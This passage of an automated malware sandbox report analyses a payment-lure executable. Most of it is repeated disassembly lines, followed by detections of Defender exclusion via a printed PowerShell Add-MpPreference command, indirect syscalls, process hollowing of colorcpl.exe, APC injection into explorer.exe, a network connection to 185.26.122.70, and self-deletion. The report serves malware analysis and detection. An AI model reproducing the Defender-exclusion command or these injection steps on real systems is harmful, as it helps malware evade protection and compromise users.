          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130C912 mov eax, dword ptr fs:[00000030h]4_2_0130C912
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE908 mov eax, dword ptr fs:[00000030h]4_2_012FE908
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE908 mov eax, dword ptr fs:[00000030h]4_2_012FE908
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01278918 mov eax, dword ptr fs:[00000030h]4_2_01278918
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01278918 mov eax, dword ptr fs:[00000030h]4_2_01278918
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C096E mov eax, dword ptr fs:[00000030h]4_2_012C096E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C096E mov edx, dword ptr fs:[00000030h]4_2_012C096E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C096E mov eax, dword ptr fs:[00000030h]4_2_012C096E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A6962 mov eax, dword ptr fs:[00000030h]4_2_012A6962
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A6962 mov eax, dword ptr fs:[00000030h]4_2_012A6962
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A6962 mov eax, dword ptr fs:[00000030h]4_2_012A6962
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01324978 mov eax, dword ptr fs:[00000030h]4_2_01324978
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01324978 mov eax, dword ptr fs:[00000030h]4_2_01324978
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130C97C mov eax, dword ptr fs:[00000030h]4_2_0130C97C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354940 mov eax, dword ptr fs:[00000030h]4_2_01354940
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01300946 mov eax, dword ptr fs:[00000030h]4_2_01300946
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013089B3 mov esi, dword ptr fs:[00000030h]4_2_013089B3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013089B3 mov eax, dword ptr fs:[00000030h]4_2_013089B3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013089B3 mov eax, dword ptr fs:[00000030h]4_2_013089B3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012809AD mov eax, dword ptr fs:[00000030h]4_2_012809AD
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012809AD mov eax, dword ptr fs:[00000030h]4_2_012809AD
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012929A0 mov eax, dword ptr fs:[00000030h]4_2_012929A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130E9E0 mov eax, dword ptr fs:[00000030h]4_2_0130E9E0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B29F9 mov eax, dword ptr fs:[00000030h]4_2_012B29F9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B29F9 mov eax, dword ptr fs:[00000030h]4_2_012B29F9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134A9D3 mov eax, dword ptr fs:[00000030h]4_2_0134A9D3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013169C0 mov eax, dword ptr fs:[00000030h]4_2_013169C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A9D0 mov eax, dword ptr fs:[00000030h]4_2_0128A9D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A9D0 mov eax, dword ptr fs:[00000030h]4_2_0128A9D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A9D0 mov eax, dword ptr fs:[00000030h]4_2_0128A9D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A9D0 mov eax, dword ptr fs:[00000030h]4_2_0128A9D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A9D0 mov eax, dword ptr fs:[00000030h]4_2_0128A9D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A9D0 mov eax, dword ptr fs:[00000030h]4_2_0128A9D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B49D0 mov eax, dword ptr fs:[00000030h]4_2_012B49D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132483A mov eax, dword ptr fs:[00000030h]4_2_0132483A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132483A mov eax, dword ptr fs:[00000030h]4_2_0132483A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA830 mov eax, dword ptr fs:[00000030h]4_2_012BA830
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A2835 mov eax, dword ptr fs:[00000030h]4_2_012A2835
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A2835 mov eax, dword ptr fs:[00000030h]4_2_012A2835
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A2835 mov eax, dword ptr fs:[00000030h]4_2_012A2835
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A2835 mov ecx, dword ptr fs:[00000030h]4_2_012A2835
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A2835 mov eax, dword ptr fs:[00000030h]4_2_012A2835
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A2835 mov eax, dword ptr fs:[00000030h]4_2_012A2835
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130C810 mov eax, dword ptr fs:[00000030h]4_2_0130C810
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01316870 mov eax, dword ptr fs:[00000030h]4_2_01316870
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01316870 mov eax, dword ptr fs:[00000030h]4_2_01316870
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130E872 mov eax, dword ptr fs:[00000030h]4_2_0130E872
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130E872 mov eax, dword ptr fs:[00000030h]4_2_0130E872
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01292840 mov ecx, dword ptr fs:[00000030h]4_2_01292840
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01284859 mov eax, dword ptr fs:[00000030h]4_2_01284859
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01284859 mov eax, dword ptr fs:[00000030h]4_2_01284859
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B0854 mov eax, dword ptr fs:[00000030h]4_2_012B0854
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130C89D mov eax, dword ptr fs:[00000030h]4_2_0130C89D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01280887 mov eax, dword ptr fs:[00000030h]4_2_01280887
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134A8E4 mov eax, dword ptr fs:[00000030h]4_2_0134A8E4
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC8F9 mov eax, dword ptr fs:[00000030h]4_2_012BC8F9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC8F9 mov eax, dword ptr fs:[00000030h]4_2_012BC8F9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE8C0 mov eax, dword ptr fs:[00000030h]4_2_012AE8C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013508C0 mov eax, dword ptr fs:[00000030h]4_2_013508C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AEB20 mov eax, dword ptr fs:[00000030h]4_2_012AEB20
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AEB20 mov eax, dword ptr fs:[00000030h]4_2_012AEB20
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01348B28 mov eax, dword ptr fs:[00000030h]4_2_01348B28
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01348B28 mov eax, dword ptr fs:[00000030h]4_2_01348B28
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FEB1D mov eax, dword ptr fs:[00000030h]4_2_012FEB1D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354B00 mov eax, dword ptr fs:[00000030h]4_2_01354B00
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127CB7E mov eax, dword ptr fs:[00000030h]4_2_0127CB7E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132EB50 mov eax, dword ptr fs:[00000030h]4_2_0132EB50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01352B57 mov eax, dword ptr fs:[00000030h]4_2_01352B57
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01352B57 mov eax, dword ptr fs:[00000030h]4_2_01352B57
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01352B57 mov eax, dword ptr fs:[00000030h]4_2_01352B57
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01352B57 mov eax, dword ptr fs:[00000030h]4_2_01352B57
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01328B42 mov eax, dword ptr fs:[00000030h]4_2_01328B42
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01316B40 mov eax, dword ptr fs:[00000030h]4_2_01316B40
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01316B40 mov eax, dword ptr fs:[00000030h]4_2_01316B40
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134AB40 mov eax, dword ptr fs:[00000030h]4_2_0134AB40
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01278B50 mov eax, dword ptr fs:[00000030h]4_2_01278B50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01334B4B mov eax, dword ptr fs:[00000030h]4_2_01334B4B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01334B4B mov eax, dword ptr fs:[00000030h]4_2_01334B4B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01334BB0 mov eax, dword ptr fs:[00000030h]4_2_01334BB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01334BB0 mov eax, dword ptr fs:[00000030h]4_2_01334BB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290BBE mov eax, dword ptr fs:[00000030h]4_2_01290BBE
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290BBE mov eax, dword ptr fs:[00000030h]4_2_01290BBE
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130CBF0 mov eax, dword ptr fs:[00000030h]4_2_0130CBF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AEBFC mov eax, dword ptr fs:[00000030h]4_2_012AEBFC
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288BF0 mov eax, dword ptr fs:[00000030h]4_2_01288BF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288BF0 mov eax, dword ptr fs:[00000030h]4_2_01288BF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288BF0 mov eax, dword ptr fs:[00000030h]4_2_01288BF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A0BCB mov eax, dword ptr fs:[00000030h]4_2_012A0BCB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A0BCB mov eax, dword ptr fs:[00000030h]4_2_012A0BCB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A0BCB mov eax, dword ptr fs:[00000030h]4_2_012A0BCB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132EBD0 mov eax, dword ptr fs:[00000030h]4_2_0132EBD0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01280BCD mov eax, dword ptr fs:[00000030h]4_2_01280BCD
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01280BCD mov eax, dword ptr fs:[00000030h]4_2_01280BCD
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01280BCD mov eax, dword ptr fs:[00000030h]4_2_01280BCD
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AEA2E mov eax, dword ptr fs:[00000030h]4_2_012AEA2E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BCA24 mov eax, dword ptr fs:[00000030h]4_2_012BCA24
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BCA38 mov eax, dword ptr fs:[00000030h]4_2_012BCA38
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A4A35 mov eax, dword ptr fs:[00000030h]4_2_012A4A35
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A4A35 mov eax, dword ptr fs:[00000030h]4_2_012A4A35
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130CA11 mov eax, dword ptr fs:[00000030h]4_2_0130CA11
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BCA6F mov eax, dword ptr fs:[00000030h]4_2_012BCA6F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BCA6F mov eax, dword ptr fs:[00000030h]4_2_012BCA6F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BCA6F mov eax, dword ptr fs:[00000030h]4_2_012BCA6F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132EA60 mov eax, dword ptr fs:[00000030h]4_2_0132EA60
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FCA72 mov eax, dword ptr fs:[00000030h]4_2_012FCA72
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FCA72 mov eax, dword ptr fs:[00000030h]4_2_012FCA72
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290A5B mov eax, dword ptr fs:[00000030h]4_2_01290A5B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290A5B mov eax, dword ptr fs:[00000030h]4_2_01290A5B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286A50 mov eax, dword ptr fs:[00000030h]4_2_01286A50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286A50 mov eax, dword ptr fs:[00000030h]4_2_01286A50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286A50 mov eax, dword ptr fs:[00000030h]4_2_01286A50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286A50 mov eax, dword ptr fs:[00000030h]4_2_01286A50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286A50 mov eax, dword ptr fs:[00000030h]4_2_01286A50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286A50 mov eax, dword ptr fs:[00000030h]4_2_01286A50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286A50 mov eax, dword ptr fs:[00000030h]4_2_01286A50
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288AA0 mov eax, dword ptr fs:[00000030h]4_2_01288AA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288AA0 mov eax, dword ptr fs:[00000030h]4_2_01288AA0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012D6AA4 mov eax, dword ptr fs:[00000030h]4_2_012D6AA4
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128EA80 mov eax, dword ptr fs:[00000030h]4_2_0128EA80
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_008E1AC3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,7_2_008E1AC3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 185.26.122.70 80Jump to behavior
          Adds a directory exclusion to Windows Defender
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"Jump to behavior
          Found direct / indirect Syscall (likely to bypass EDR)
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeNtClose: Indirect: 0x121A56C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeNtQueueApcThread: Indirect: 0x121A4F2Jump to behavior
          Injects a PE file into a foreign processes
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMemory written: C:\Users\user\Desktop\hbwebdownload - MT 103.exe base: 400000 value starts with: 4D5AJump to behavior
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: NULL target: C:\Windows\SysWOW64\colorcpl.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: NULL target: C:\Windows\SysWOW64\colorcpl.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeThread register set: target process: 1028Jump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeThread register set: target process: 1028Jump to behavior
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing technique
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection unmapped: C:\Windows\SysWOW64\colorcpl.exe base address: 8E0000Jump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"Jump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Users\user\Desktop\hbwebdownload - MT 103.exe "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"Jump to behavior
          Source: explorer.exe, 00000006.00000002.4536248023.0000000009C22000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852394132.0000000009C21000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd=
          Source: explorer.exe, 00000006.00000002.4525001967.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.2082067127.0000000001731000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
          Source: explorer.exe, 00000006.00000002.4525001967.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.2082067127.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.2084227501.0000000004B00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000006.00000002.4525001967.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.2082067127.0000000001731000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000006.00000002.4525001967.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.2082067127.0000000001731000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: explorer.exe, 00000006.00000002.4523936040.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2081212306.0000000000EF0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PProgman
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeQueries volume information: C:\Users\user\Desktop\hbwebdownload - MT 103.exe VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
